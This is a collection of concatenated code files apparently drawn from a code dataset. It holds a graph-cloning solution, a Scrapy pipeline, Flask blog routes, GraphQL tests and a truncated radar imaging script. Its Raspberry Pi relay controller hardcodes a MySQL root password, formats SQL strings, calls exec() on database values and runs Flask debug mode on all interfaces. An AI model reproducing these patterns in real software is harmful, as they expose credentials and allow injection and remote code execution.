nodes.\nExample 4:\n\n\nInput: adjList = [[2],[1]]\nOutput: [[2],[1]]\n\n\nConstraints:\n\n1 <= Node.val <= 100\nNode.val is unique for each node.\nNumber of Nodes will not exceed 100.\nThere is no repeated edges and no self-loops in the graph.\nThe Graph is connected and all nodes can be visited starting from the given node.\n\"\"\"\n\n# Definition for a Node.\nfrom typing import Dict\n\n\nclass Node:\n def __init__(self, val=0, neighbors=None):\n self.val = val\n self.neighbors = neighbors if neighbors is not None else []\n\n\nclass Solution:\n def cloneGraph(self, node: 'Node') -> 'Node':\n # Solution 1 - 28 ms\n \"\"\"\n if not node:\n return node\n self.mapping = {}\n self.dfs(node)\n return self.mapping[node]\n \"\"\"\n # Solution 2 - 20 ms\n if not node:\n return None\n\n new_nodes = dict()\n return self.dfs_II(node, new_nodes)\n\n def dfs_II(self, node, new_nodes: Dict) -> 'Node':\n # 'node' is always an 'old' node and not its copy (if it exists)\n if node.val in new_nodes:\n # node is already being cloned at upper levels of the recursion\n return new_nodes[node.val]\n\n # else this is our first encounter with the node\n new_neighbours = []\n new_node = Node(node.val, new_neighbours)\n new_nodes[node.val] = new_node\n\n for neighbour in node.neighbors:\n # recursively clone neighbour\n new_neighbour = self.dfs_II(neighbour, new_nodes)\n new_neighbours.append(new_neighbour)\n\n return new_node\n\n def dfs(self, node): # Solution 1\n self.mapping[node] = Node(node.val)\n for neigh in node.neighbors:\n if neigh not in self.mapping:\n self.dfs(neigh)\n self.mapping[node].neighbors += [self.mapping[neigh]]\n\n\n# Main Call\nsolution = Solution()\nadjList = [[2],[1]]\nnode = Node(2, [1])\n\nprint(solution.cloneGraph(node))","sub_path":"src/linkedLists/cloneGraph.py","file_name":"cloneGraph.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"527646929","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport os\nfrom urllib import request\n\nclass BwmPipeline(object):\n def __init__(self):\n self.path=os.path.join(os.path.dirname(os.path.dirname(__file__)),'image')\n if not os.path.exists(self.path):\n os.mkdir(self.path)\n def process_item(self, item, spider):\n caption=item['caption']\n img_url=item['img_url']\n\n caption_path=os.path.join(self.path,caption)\n if not os.path.exists(caption_path):\n os.mkdir(caption_path)\n for url in img_url:\n img_name=url.split('_')[-1]\n request.urlretrieve(url,os.path.join(caption_path,img_name))\n return item\n\n\n\n","sub_path":"scripy爬虫框架项目/bwm/bwm/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"600572068","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''Basic Routes'''\nfrom flask import render_template, Blueprint, abort, redirect, url_for\nfrom bloggins.database import models\n\n\nroutes = Blueprint('public', __name__)\n\n\n@routes.route('/')\ndef home():\n '''Featured Posts ??'''\n posts = models.Entry.query.filter_by(published=True).all()\n for post in posts:\n post.tags = models.Tag.get_post_tags(post.id)\n return render_template('home.html', posts=posts)\n\n\n@routes.route('/about')\ndef about():\n return render_template('about.html')\n\n\n@routes.route('/contact')\ndef contact():\n return render_template('contact.html')\n\n\n@routes.route('/blog')\ndef blog():\n posts = models.Entry.query.filter_by(published=True).all()\n tags = models.Tag.get_tag_cloud(string=False)\n for post in posts:\n post.tags = models.Tag.get_post_tags(post.id)\n return render_template('blog.html', posts=posts, tags=tags)\n\n\n@routes.route('/blog//detail', methods=['GET', 'POST'])\ndef detail(slug):\n entry = models.Entry.query.filter_by(slug=slug).first()\n entry.tags = models.Tag.get_post_tags(entry.id)\n if not entry.published:\n return render_template('404.html')\n return render_template('detail.html', entry=entry)\n\n\n@routes.route('/tag/', methods=['GET', 'POST'])\ndef tag(name):\n tags = models.Tag.query.filter_by(name=name).all()\n pids = set([tag.pid for tag in tags])\n posts = []\n for id_ in pids:\n if not id_ >= 4000:\n post = models.Entry.query.filter_by(id=id_).first()\n post.tags = models.Tag.get_post_tags(post.id)\n posts.append(post)\n if len(posts) == 0:\n return redirect(url_for('public.blog'))\n tags = models.Tag.get_tag_cloud(string=False)\n if name not in tags or posts is None:\n abort(404)\n return render_template('blog.html', posts=posts, tags=tags)\n","sub_path":"bloggins/routes/public.py","file_name":"public.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"166251990","text":"import pytest\n\nfrom caluma.data_source.tests.data_sources import MyDataSource\n\nfrom ...core.tests import (\n extract_global_id_input_fields,\n extract_serializer_input_fields,\n)\nfrom .. import models, serializers\n\n\n@pytest.mark.parametrize(\n \"question__type,question__configuration,question__data_source,question__format_validators\",\n [\n (models.Question.TYPE_INTEGER, {\"max_value\": 10, \"min_value\": 0}, None, []),\n (models.Question.TYPE_FLOAT, {\"max_value\": 1.0, \"min_value\": 0.0}, None, []),\n (models.Question.TYPE_FLOAT, {}, None, []),\n (models.Question.TYPE_DATE, {}, None, []),\n (models.Question.TYPE_TEXT, {\"max_length\": 10}, None, [\"email\"]),\n (models.Question.TYPE_TEXTAREA, {\"max_length\": 10}, None, []),\n (models.Question.TYPE_CHOICE, {}, None, []),\n (models.Question.TYPE_MULTIPLE_CHOICE, {}, None, []),\n (models.Question.TYPE_FORM, {}, None, []),\n (models.Question.TYPE_FILE, {}, None, []),\n (models.Question.TYPE_DYNAMIC_CHOICE, {}, \"MyDataSource\", []),\n (models.Question.TYPE_DYNAMIC_MULTIPLE_CHOICE, {}, \"MyDataSource\", []),\n (models.Question.TYPE_STATIC, {}, None, []),\n ],\n)\ndef test_query_all_questions(\n schema_executor,\n db,\n snapshot,\n question,\n form,\n form_question_factory,\n question_option,\n data_source_settings,\n):\n form_question_factory.create(form=form)\n\n query = \"\"\"\n query AllQuestionsQuery($search: String, $forms: [ID]) {\n allQuestions(isArchived: false, search: $search, excludeForms: $forms) {\n totalCount\n edges {\n node {\n id\n __typename\n slug\n label\n meta\n infoText\n ... on TextQuestion {\n maxLength\n placeholder\n formatValidators {\n edges {\n node {\n slug\n name\n regex\n errorMsg\n }\n }\n }\n }\n ... on TextareaQuestion {\n maxLength\n placeholder\n formatValidators {\n edges {\n node {\n slug\n name\n regex\n errorMsg\n }\n }\n }\n }\n ... on FloatQuestion {\n floatMinValue: minValue\n floatMaxValue: maxValue\n placeholder\n }\n ... on IntegerQuestion {\n integerMinValue: minValue\n integerMaxValue: maxValue\n placeholder\n }\n ... on MultipleChoiceQuestion {\n options {\n totalCount\n edges {\n node {\n slug\n }\n }\n }\n }\n ... on ChoiceQuestion {\n options {\n totalCount\n edges {\n node {\n slug\n }\n }\n }\n }\n ... on DynamicMultipleChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n ... on DynamicChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n ... on FormQuestion {\n subForm {\n slug\n }\n }\n ... on StaticQuestion {\n staticContent\n }\n }\n }\n }\n }\n \"\"\"\n\n result = schema_executor(\n query,\n variables={\n \"search\": question.label,\n \"forms\": [extract_global_id_input_fields(form)[\"id\"]],\n },\n )\n\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__meta\", [{\"meta\": \"set\"}])\ndef test_copy_question(\n db, snapshot, question, question_option_factory, schema_executor\n):\n question_option_factory.create_batch(5, question=question)\n query = \"\"\"\n mutation CopyQuestion($input: CopyQuestionInput!) {\n copyQuestion(input: $input) {\n question {\n slug\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": {\n \"source\": question.pk,\n \"slug\": \"new-question\",\n \"label\": \"Test Question\",\n }\n }\n result = schema_executor(query, variables=inp)\n\n assert not result.errors\n\n question_slug = result.data[\"copyQuestion\"][\"question\"][\"slug\"]\n assert question_slug == \"new-question\"\n new_question = models.Question.objects.get(pk=question_slug)\n assert new_question.label == \"Test Question\"\n assert new_question.meta == question.meta\n assert new_question.type == question.type\n assert new_question.configuration == question.configuration\n assert new_question.row_form == question.row_form\n assert new_question.is_hidden == question.is_hidden\n assert new_question.is_required == question.is_required\n assert new_question.source == question\n assert list(\n models.QuestionOption.objects.filter(question=new_question).values(\"option\")\n ) == list(models.QuestionOption.objects.filter(question=question).values(\"option\"))\n\n\n@pytest.mark.parametrize(\n \"mutation\",\n [\n \"SaveTextQuestion\",\n \"SaveTextareaQuestion\",\n \"SaveIntegerQuestion\",\n \"SaveFloatQuestion\",\n \"SaveDateQuestion\",\n \"SaveFileQuestion\",\n ],\n)\n@pytest.mark.parametrize(\n \"question__is_required,success\", ((\"true\", True), (\"true|invalid\", False))\n)\ndef test_save_question(db, snapshot, question, mutation, schema_executor, success):\n mutation_func = mutation[0].lower() + mutation[1:]\n query = f\"\"\"\n mutation {mutation}($input: {mutation}Input!) {{\n {mutation_func}(input: $input) {{\n question {{\n id\n slug\n label\n meta\n __typename\n }}\n clientMutationId\n }}\n }}\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n\n assert not bool(result.errors) == success\n if success:\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\n \"question__type,question__configuration,question__format_validators,success\",\n [\n (models.Question.TYPE_TEXT, {\"max_length\": 10}, [], True),\n (models.Question.TYPE_TEXT, {\"max_length\": 10}, [\"email\"], True),\n (models.Question.TYPE_TEXT, {\"max_length\": 10}, [\"notavalidator\"], False),\n ],\n)\ndef test_save_text_question(db, question, schema_executor, success):\n query = \"\"\"\n mutation SaveTextQuestion($input: SaveTextQuestionInput!) {\n saveTextQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on TextQuestion {\n maxLength\n formatValidators {\n edges {\n node {\n slug\n name\n regex\n errorMsg\n }\n }\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveTextQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n assert not bool(result.errors) == success\n if success:\n assert result.data[\"saveTextQuestion\"][\"question\"][\"maxLength\"] == 10\n if question.format_validators:\n assert (\n result.data[\"saveTextQuestion\"][\"question\"][\"formatValidators\"][\n \"edges\"\n ][0][\"node\"][\"slug\"]\n == \"email\"\n )\n\n\n@pytest.mark.parametrize(\n \"question__type,question__configuration\",\n [(models.Question.TYPE_TEXTAREA, {\"max_length\": 10})],\n)\ndef test_save_textarea_question(db, question, schema_executor):\n query = \"\"\"\n mutation SaveTextareaQuestion($input: SaveTextareaQuestionInput!) {\n saveTextareaQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on TextareaQuestion {\n maxLength\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveTextareaQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n assert not result.errors\n assert result.data[\"saveTextareaQuestion\"][\"question\"][\"maxLength\"] == 10\n\n\n@pytest.mark.parametrize(\n \"question__type,question__configuration,success\",\n [\n (models.Question.TYPE_FLOAT, {\"max_value\": 10.0, \"min_value\": 0.0}, True),\n (models.Question.TYPE_FLOAT, {\"max_value\": 1.0, \"min_value\": 10.0}, False),\n ],\n)\ndef test_save_float_question(db, snapshot, question, schema_executor, success):\n query = \"\"\"\n mutation SaveFloatQuestion($input: SaveFloatQuestionInput!) {\n saveFloatQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on FloatQuestion {\n minValue\n maxValue\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveFloatQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n assert not bool(result.errors) == success\n if success:\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\n \"question__type,question__configuration,success\",\n [\n (models.Question.TYPE_INTEGER, {\"max_value\": 10, \"min_value\": 0}, True),\n (models.Question.TYPE_INTEGER, {\"max_value\": 1, \"min_value\": 10}, False),\n ],\n)\ndef test_save_integer_question(db, snapshot, question, success, schema_executor):\n query = \"\"\"\n mutation SaveIntegerQuestion($input: SaveIntegerQuestionInput!) {\n saveIntegerQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on FloatQuestion {\n minValue\n maxValue\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveIntegerQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n assert not bool(result.errors) == success\n if success:\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__type\", [models.Question.TYPE_MULTIPLE_CHOICE])\ndef test_save_multiple_choice_question(\n db, snapshot, question, question_option_factory, schema_executor\n):\n question_option_factory.create_batch(2, question=question)\n\n option_ids = question.options.order_by(\"-slug\").values_list(\"slug\", flat=True)\n\n query = \"\"\"\n mutation SaveMultipleChoiceQuestion($input: SaveMultipleChoiceQuestionInput!) {\n saveMultipleChoiceQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on MultipleChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveMultipleChoiceQuestionSerializer, question\n )\n }\n inp[\"input\"][\"options\"] = option_ids\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__type\", [models.Question.TYPE_CHOICE])\ndef test_save_choice_question(db, snapshot, question, question_option, schema_executor):\n query = \"\"\"\n mutation SaveChoiceQuestion($input: SaveChoiceQuestionInput!) {\n saveChoiceQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on ChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveChoiceQuestionSerializer, question\n )\n }\n question.delete() # test creation\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"delete\", [True, False])\n@pytest.mark.parametrize(\n \"question__type\",\n [models.Question.TYPE_DYNAMIC_CHOICE, models.Question.TYPE_DYNAMIC_MULTIPLE_CHOICE],\n)\ndef test_save_dynamic_choice_question(\n db, snapshot, question, delete, schema_executor, data_source_settings\n):\n query = \"\"\"\n mutation SaveDynamicChoiceQuestion($input: SaveDynamicChoiceQuestionInput!) {\n saveDynamicChoiceQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on DynamicChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveDynamicChoiceQuestionSerializer, question\n )\n }\n if delete:\n question.delete() # test creation\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"delete\", [True, False])\n@pytest.mark.parametrize(\n \"question__type\", [models.Question.TYPE_DYNAMIC_MULTIPLE_CHOICE]\n)\ndef test_save_dynamic_multiple_choice_question(\n db,\n snapshot,\n question,\n delete,\n question_option_factory,\n schema_executor,\n data_source_settings,\n):\n query = \"\"\"\n mutation SaveDynamicMultipleChoiceQuestion($input: SaveDynamicMultipleChoiceQuestionInput!) {\n saveDynamicMultipleChoiceQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on DynamicMultipleChoiceQuestion {\n options {\n edges {\n node {\n slug\n label\n }\n }\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveDynamicMultipleChoiceQuestionSerializer, question\n )\n }\n if delete:\n question.delete() # test creation\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__type\", [models.Question.TYPE_TABLE])\ndef test_save_table_question(db, snapshot, question, question_option, schema_executor):\n query = \"\"\"\n mutation SaveTableQuestion($input: SaveTableQuestionInput!) {\n saveTableQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on TableQuestion {\n rowForm {\n slug\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveTableQuestionSerializer, question\n )\n }\n question.delete() # test creation\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__type\", [models.Question.TYPE_FORM])\ndef test_save_form_question(db, snapshot, question, question_option, schema_executor):\n query = \"\"\"\n mutation SaveFormQuestion($input: SaveFormQuestionInput!) {\n saveFormQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on FormQuestion {\n subForm {\n slug\n }\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveFormQuestionSerializer, question\n )\n }\n question.delete() # test creation\n result = schema_executor(query, variables=inp)\n assert not result.errors\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\"question__type\", [models.Question.TYPE_STATIC])\ndef test_save_static_question(db, snapshot, question, schema_executor):\n query = \"\"\"\n mutation SaveStaticQuestion($input: SaveStaticQuestionInput!) {\n saveStaticQuestion(input: $input) {\n question {\n id\n slug\n label\n meta\n __typename\n ... on StaticQuestion {\n staticContent\n }\n }\n clientMutationId\n }\n }\n \"\"\"\n\n inp = {\n \"input\": extract_serializer_input_fields(\n serializers.SaveStaticQuestionSerializer, question\n )\n }\n result = schema_executor(query, variables=inp)\n assert not bool(result.errors)\n snapshot.assert_match(result.data)\n\n\n@pytest.mark.parametrize(\n \"question__type,question__data_source,answer__value\",\n [\n (models.Question.TYPE_DYNAMIC_CHOICE, \"MyDataSource\", \"answer_value\"),\n (models.Question.TYPE_DYNAMIC_MULTIPLE_CHOICE, \"MyDataSource\", [\"foo\", \"bar\"]),\n ],\n)\ndef test_question_with_answer_value(\n schema_executor,\n db,\n question,\n answer,\n form,\n form_question_factory,\n question_option,\n data_source_settings,\n mocker,\n):\n form_question_factory.create(form=form)\n\n query = \"\"\"\n query DynamicQuestionsWithAnswerQuery($search: String, $forms: [ID], $documentId: ID) {\n allQuestions(isArchived: false, search: $search, excludeForms: $forms) {\n edges {\n node {\n ... on DynamicMultipleChoiceQuestion {\n options (documentId: $documentId) {\n edges {\n node {\n slug\n }\n }\n }\n }\n ... on DynamicChoiceQuestion {\n options (documentId: $documentId) {\n edges {\n node {\n slug\n }\n }\n }\n }\n }\n }\n }\n }\n \"\"\"\n\n get_data_mock = mocker.patch.object(MyDataSource, \"get_data\")\n get_data_mock.return_value = [\"test\"]\n\n result = schema_executor(\n query,\n variables={\n \"search\": question.label,\n \"forms\": [extract_global_id_input_fields(form)[\"id\"]],\n \"documentId\": answer.document.pk,\n },\n )\n\n assert not result.errors\n assert get_data_mock.mock_calls[0][1][1] == answer.value\n","sub_path":"caluma/form/tests/test_question.py","file_name":"test_question.py","file_ext":"py","file_size_in_byte":21122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"434866495","text":"#!/usr/bin/env python\n#!-*- coding: utf-8 -*-\n\n\n#ENERGIA\n#+---------+-------------+------+-----+-------------------+-----------------------------+\n#| Field | Type | Null | Key | Default | Extra |\n#+---------+-------------+------+-----+-------------------+-----------------------------+\n#| id | int(11) | NO | PRI | NULL | auto_increment |\n#| fase1 | smallint(6) | YES | | NULL | |\n#| fase2 | smallint(6) | YES | | NULL | |\n#| neutro | smallint(6) | YES | | NULL | |\n#| ativado | smallint(6) | YES | | NULL | |\n#| DIA | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |\n#+---------+-------------+------+-----+-------------------+-----------------------------+\n\n#RELES\n#+----------+-------------+------+-----+-------------------+-----------------------------+\n#| Field | Type | Null | Key | Default | Extra |\n#+----------+-------------+------+-----+-------------------+-----------------------------+\n#| id | int(11) | NO | PRI | NULL | auto_increment |\n#| ativado | smallint(6) | YES | | NULL | |\n#| canteiro | smallint(6) | YES | | NULL | |\n#| usuario | varchar(20) | YES | | NULL | |\n#| RELE | smallint(6) | YES | | NULL | |\n#| DIA | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |\n#+----------+-------------+------+-----+-------------------+-----------------------------+\n\n#SENSOR\n#+-------------+-------------+------+-----+-------------------+-----------------------------+\n#| Field | Type | Null | Key | Default | Extra |\n#+-------------+-------------+------+-----+-------------------+-----------------------------+\n#| id | int(11) | NO | PRI | NULL | auto_increment |\n#| tempext | smallint(6) | YES | | NULL | |\n#| umidadeext | smallint(6) | YES | | NULL | |\n#| orvalho | smallint(6) | YES | | NULL | |\n#| umidadesolo | smallint(6) | YES | | NULL | |\n#| DIA | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |\n#+-------------+-------------+------+-----+-------------------+-----------------------------+\n\n\nfrom flask import Flask,render_template,redirect,url_for\nimport RPi.GPIO as GPIO\nimport datetime\nimport time\nfrom xbee import XBee\nimport serial\nimport datetime\nimport time\nimport sys\nimport os\nfrom os.path import join\nimport MySQLdb\n\n\ndef gravadb(codigo=0, dados1=0, dados2=0, dados3=0, dados4=0):\n if codigo == 0:\n hortadb.execute(\"INSERT INTO ENERGIA (fase1,fase2,neutro,ativado) VALUES(%i,%i,%i,%i)\"%(dados1, dados2, dados3, dados4))\n if codigo == 1:\n hortadb.execute(\"INSERT INTO RELES (ativado,canteiro,usuario,RELE) VALUES(%i,%i,'%s',%i)\"%(dados1, int(dados2+1), dados3, dados4))\n if codigo == 2:\n hortadb.execute(\"INSERT INTO SENSOR (tempext,umidadeext,orvalho,umidadesolo) VALUES(%i,%i,%i,%i)\"%(dados1, dados2, dados3, dados4))\n horta.commit() \n\n\n\nhorta=MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"guto73\",db=\"HORTA\")\nhortadb= horta.cursor()\n\n#gravadb()\n\n \n\n#horta.close()\n\n\n\ndef find_tty_usb(idVendor, idProduct):\n #find_tty_usb('067b', '2302') -> '/dev/ttyUSB0\n # Note: if searching for a lot of pairs, it would be much faster to search\n # for the enitre lot at once instead of going over all the usb devices\n # each time.\n for dnbase in os.listdir('/sys/bus/usb/devices'):\n dn = join('/sys/bus/usb/devices', dnbase)\n if not os.path.exists(join(dn, 'idVendor')):\n continue\n idv = open(join(dn, 'idVendor')).read().strip()\n if idv != idVendor:\n continue\n idp = open(join(dn, 'idProduct')).read().strip()\n if idp != idProduct:\n continue\n for subdir in os.listdir(dn):\n if subdir.startswith(dnbase+':'):\n for subsubdir in os.listdir(join(dn, subdir)):\n if subsubdir.startswith('ttyUSB'):\n return join('/dev', subsubdir)\n \n\n \n \n\n\n#ser = serial.Serial(find_tty_usb('0403','6001'), 9600,rtscts=1)\n#xbee = XBee(ser,escaped=True)\nDEST_ADDR_LONG = \"\\x00\\x13\\xa2\\x00\\x40\\x2d\\xde\\x38\"\n\nGPIO.setmode(GPIO.BCM)\nportas=(18,23,24,25,12,16,20,21)\nGPIO.setup(portas,GPIO.OUT,initial=GPIO.HIGH)\n\" GPIO.output(portas,GPIO.LOW)\"\n\n\n\n\n\n\n\napp = Flask(__name__)\n\n@app.route(\"/\")\n\ndef mestre():\n\n\n hortadb.execute(\"SELECT * FROM ENERGIA\")\n energiadb=hortadb.fetchall()\n\n hortadb.execute(\"SELECT MAX(dia), canteiro, ativado, RELE FROM RELES WHERE ativado=1\")\n relesdb=hortadb.fetchall()\n\n\n hortadb.execute(\"SELECT tempext,umidadeext,orvalho,umidadesolo,DIA FROM SENSOR where DIA = (SELECT MAX(dia) FROM SENSOR)\")\n sensordb=hortadb.fetchall() \n\n hortadb.execute(\"SELECT RELE,ATIVADO FROM RELES WHERE DIA IN (SELECT MAX(DIA) FROM RELES GROUP BY RELE)\")\n releativo=hortadb.fetchall()\n\n now=datetime.datetime.now()\n timeString= now.strftime(\"%d/%m/%Y %H:%M\")\n for res in releativo:\n exec ('sole%s=res[1]')%res[0]\n #sole0 = 0 #GPIO.input(portas[0]) \n #sole1 = GPIO.input(portas[1])\n #sole2 = 0#GPIO.input(portas[2]) \n #sole3 = GPIO.input(portas[3])\n #sole4 = 0#GPIO.input(portas[4])\n #sole5 = GPIO.input(portas[5])\n sole6 = 0#GPIO.input(portas[6])\n sole7 = GPIO.input(portas[7])\n \n #xbee.remote_at(dest_addr_long=DEST_ADDR_LONG,command='D1',parameter='\\x04')\n #time.sleep(5)\n #response = xbee.wait_read_frame()\n \n \n #xbee.remote_at(dest_addr_long=DEST_ADDR_LONG,command='D1',parameter='\\x05')\n \n\n # resposta = response.get(r'rf_data')\n # resfinal = resposta.split(r',')\n # potencia = str(ord(response.get('rssi')))+\" db\" \n # tempext = resfinal[1]\n # umidadeext = resfinal[0]\n # orvalhoext = resfinal[2]\n # umidadesolo = resfinal[3]\n potencia =60\n tempext=sensordb[0][0]\n umidadeext=sensordb[0][1]\n orvalhoext=sensordb[0][2]\n umidadesolo=sensordb[0][3] \n\n\n\n templateData = {'title':'MENU','time':timeString,'sole0':sole0,'sole1':sole1,'sole2':sole2,'sole3':sole3,'sole4':sole4,'sole5':sole5,'sole6':sole6,'sole7':sole7,'potencia':potencia,'tempext':tempext,'umidadeext':umidadeext,'orvalhoext':orvalhoext,'umidadesolo':umidadesolo}\n\n\n return render_template('main.html',**templateData)\n\n@app.route(\"//\")\n\ndef pinoestado(pino,estado):\n \n pino=int(pino)\n\n if estado == \"lig\":\n GPIO.output(portas[pino],GPIO.LOW)\n gravadb(1,1,pino,\"USUARIO\",pino)\n if estado == \"deslig\":\n GPIO.output(portas[pino],GPIO.HIGH) \n gravadb(1,0,pino,\"USUARIO\",pino)\n\n return redirect(url_for('mestre')) \n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',port=802,debug=True)\n","sub_path":"app/rele_flask.py","file_name":"rele_flask.py","file_ext":"py","file_size_in_byte":7307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"107240296","text":"from scipy.io.wavfile import read\nfrom numpy import zeros, linspace, float32, abs, mean, concatenate, sum, argmax, ones, pi, cos, angle\nfrom numpy.fft import ifft, fft\nfrom matplotlib.pyplot import matshow, figure, show\n'''\n%MIT IAP Radar Course 2011\n%Resource: Build a Small Radar System Capable of Sensing Range, Doppler,\n%and Synthetic Aperture Radar Imaging\n%\n%Gregory L. Charvat\n\n%SAR algorithm from:\n%Range Migration Algorithm from ch 10 of Spotlight Synthetic Aperture Radar\n%Signal Processing Algorithms, Carrara, Goodman, and Majewski\n\n%NOTE: set up-ramp sweep from 2-3.2V to stay within ISM band\n%change fstart and fstop bellow when in ISM band\n'''\n\nFs, Y = read('data/towardswarehouse.wav')\n\nc = 3E8 # light velocity\n\nTp = 20E-3\nTrp = .25\nN = int(Tp*Fs)\nfstart = 2260E6\nfstop = 2590E6\n\nBW = fstop-fstart\n\nf = linspace(fstart, fstop, N >> 1)\n\ntrig = -float32(Y[:, 0])/(1 << 15)\ns = -float32(Y[:, 1])/(1 << 15)\ndel Y\n\nrpstart = (abs(trig) > mean(abs(trig)))*1\n\nNrp = int(Trp*Fs)\nRP = zeros((Nrp, 0))\nRPtrig = zeros((Nrp, 0))\nfor ii in range(Nrp, rpstart.size-Nrp):\n if rpstart[ii] == 1 and sum(rpstart[ii-Nrp:ii]) == 0:\n RP = concatenate((RP, s[ii:ii+Nrp].reshape(Nrp, 1)), axis=1)\n RPtrig = concatenate((RPtrig, trig[ii:ii+Nrp].reshape(Nrp, 1)), axis=1)\n\nRP = RP.transpose()\nRPtrig = RPtrig.transpose()\n\n\nthresh = 0.08\nsif = zeros((RP.shape[0], N/2), dtype=complex)\n\nfor jj in range(RP.shape[0]):\n SIF = zeros(N, dtype=complex)\n start = (RPtrig[jj] > thresh)*1\n count = 0\n for ii in range(11, start.size-2*N):\n tmp = RPtrig[jj][ii:ii+2*N+1]\n I = argmax(tmp)\n if mean(start[ii-10:ii-1]) == 0 and I == 0:\n count += 1\n SIF += RP[jj][ii:ii+N].reshape(N)\n if count == 0:\n sif[jj] = 1E-30*ones(N/2)\n else:\n q = ifft(SIF/count)\n sif[jj] = fft(q[q.size/2:])\n\n\nsif = sif-mean(sif, axis=0)\n\n\nfc = (fstop - fstart)/2 + fstart\nB = fstop - fstart\ncr = B/Tp\nRs = 0\nXa = 0\ndelta_x = float(2*(1/12)*0.3048)\n\nL = delta_x*sif.shape[0]\nXa = linspace(-L/2, L/2, sif.shape[0])\nZa = 0\nYa = Rs\nt = linspace(0, Tp, sif.shape[1])\nKr = linspace((4*pi/c)*(fc - B/2), (4*pi/c)*(fc + B/2), t.size)\n\n\nN = sif.shape[1]\nH = zeros(N)\nfor ii in range(N):\n H[ii] = 0.5+0.5*cos(2*pi*(ii+1-N/2)/N)\n\n\nfor ii in range(sif.shape[0]):\n sif[ii] *= 